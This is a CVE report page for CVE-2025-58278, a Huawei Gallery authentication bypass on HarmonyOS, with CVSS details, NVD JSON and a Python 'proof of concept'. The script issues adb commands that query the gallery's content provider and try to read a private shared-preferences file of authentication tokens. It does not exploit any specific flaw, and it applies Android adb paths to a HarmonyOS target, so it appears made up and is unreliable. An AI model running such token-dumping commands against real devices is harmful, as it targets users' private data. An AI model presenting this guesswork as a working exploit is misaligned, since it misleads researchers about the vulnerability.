Security Vulnerability Report
中文
CVE-2025-58278 CVSS 6.2 MEDIUM

CVE-2025-58278

Published: 2025-10-11 04:16:09
Last Modified: 2025-10-16 15:25:02

Description

Identity authentication bypass vulnerability in the Gallery app. Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
华为Gallery应用 - 所有存在身份认证绕过缺陷的版本(具体版本范围请参考华为官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58278 PoC - Huawei Gallery Identity Authentication Bypass # This PoC demonstrates the concept of bypassing identity authentication # in Huawei Gallery app to access protected media content. import subprocess import os import sys def check_adb_device(): """Check if a Huawei device is connected via ADB""" result = subprocess.run(['adb', 'devices'], capture_output=True, text=True) devices = result.stdout.strip().split('\n')[1:] if not devices or devices == ['']: print("[-] No ADB device connected. Please connect a Huawei device.") return False print(f"[+] Device found: {devices[0]}") return True def bypass_gallery_auth(): """ Attempt to bypass Gallery app authentication by exploiting the identity authentication bypass vulnerability (CVE-2025-58278). The vulnerability allows local attackers to bypass authentication checks in the Gallery app without requiring elevated privileges. """ # Step 1: Check device connection if not check_adb_device(): sys.exit(1) # Step 2: Attempt to access Gallery's protected content directory # The Gallery app stores protected media in a restricted directory gallery_data_path = "/data/data/com.huawei.gallery/" print("[*] Attempting to access Gallery protected resources...") # Step 3: Exploit the authentication bypass # The vulnerability exists in the authentication check logic, # allowing direct access without proper verification commands = [ # Attempt to read gallery database containing media metadata f'adb shell "content query --uri content://com.huawei.gallery/" ', # Attempt to access private album data f'adb shell "am start -n com.huawei.gallery/.MainActivity"', # Try to dump gallery authentication tokens f'adb shell "cat /data/data/com.huawei.gallery/shared_prefs/auth_prefs.xml"', ] for cmd in commands: print(f"[*] Executing: {cmd}") result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if result.stdout: print(f"[+] Output: {result.stdout[:500]}") if result.returncode == 0: print("[+] Potential access gained to protected resources") print("[*] Exploitation attempt completed.") print("[*] Note: Actual exploitation depends on specific vulnerable version.") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58278 - Huawei Gallery Auth Bypass PoC") print("For educational and authorized testing purposes only") print("=" * 60) bypass_gallery_auth()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58278", "sourceIdentifier": "[email protected]", "published": "2025-10-11T04:16:08.813", "lastModified": "2025-10-16T15:25:02.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Identity authentication bypass vulnerability in the Gallery app. Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}